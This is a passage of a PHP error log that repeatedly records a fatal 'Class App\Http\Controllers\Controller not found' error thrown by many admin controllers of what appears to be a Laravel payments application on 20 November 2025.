UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 12:21:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 12:24:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 12:25:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 12:26:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php on line 11 [20-Nov-2025 12:27:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 12:29:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 12:30:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 12:31:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 12:32:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 12:33:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [20-Nov-2025 12:34:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 12:35:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php on line 14 [20-Nov-2025 12:36:16 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 12:37:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 12:39:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php on line 13 [20-Nov-2025 12:40:33 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php on line 11 [20-Nov-2025 12:41:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php on line 15 [20-Nov-2025 12:42:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FaqController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FaqController.php on line 10 [20-Nov-2025 12:43:47 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 12:44:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/KycManageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/KycManageController.php on line 15 [20-Nov-2025 12:57:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 12:58:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 13:01:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 13:03:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 13:04:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php on line 11 [20-Nov-2025 13:06:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 13:07:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 13:08:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php on line 14 [20-Nov-2025 13:09:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 13:10:23 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 13:11:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 13:12:27 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 13:13:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [20-Nov-2025 13:14:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 13:15:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 13:16:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 13:17:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 13:19:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php on line 13 [20-Nov-2025 13:19:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php on line 11 [20-Nov-2025 13:21:12 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php on line 15 [20-Nov-2025 13:23:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 13:24:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 13:37:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 13:40:39 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php on line 11 [20-Nov-2025 13:42:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 13:43:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 13:44:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 13:46:51 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 13:48:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 13:49:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 13:50:55 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 13:51:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 13:53:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 13:54:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 13:55:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 13:56:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php on line 14 [20-Nov-2025 13:57:12 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 13:58:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 13:59:15 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 14:01:24 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 14:02:20 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 14:18:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 14:26:20 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 14:27:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 14:29:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 14:30:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 14:31:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 14:32:32 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php on line 11 [20-Nov-2025 14:33:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 14:34:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 14:35:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 14:36:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php on line 14 [20-Nov-2025 14:37:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 14:38:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 14:39:47 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 14:44:51 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 14:45:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 14:47:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 14:50:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 14:52:27 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 14:53:22 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 14:55:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 14:56:29 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php on line 14 [20-Nov-2025 14:57:33 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 14:58:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 14:59:39 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 15:00:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php on line 11 [20-Nov-2025 15:01:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 15:02:51 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 15:04:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 15:05:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 15:08:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 15:10:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 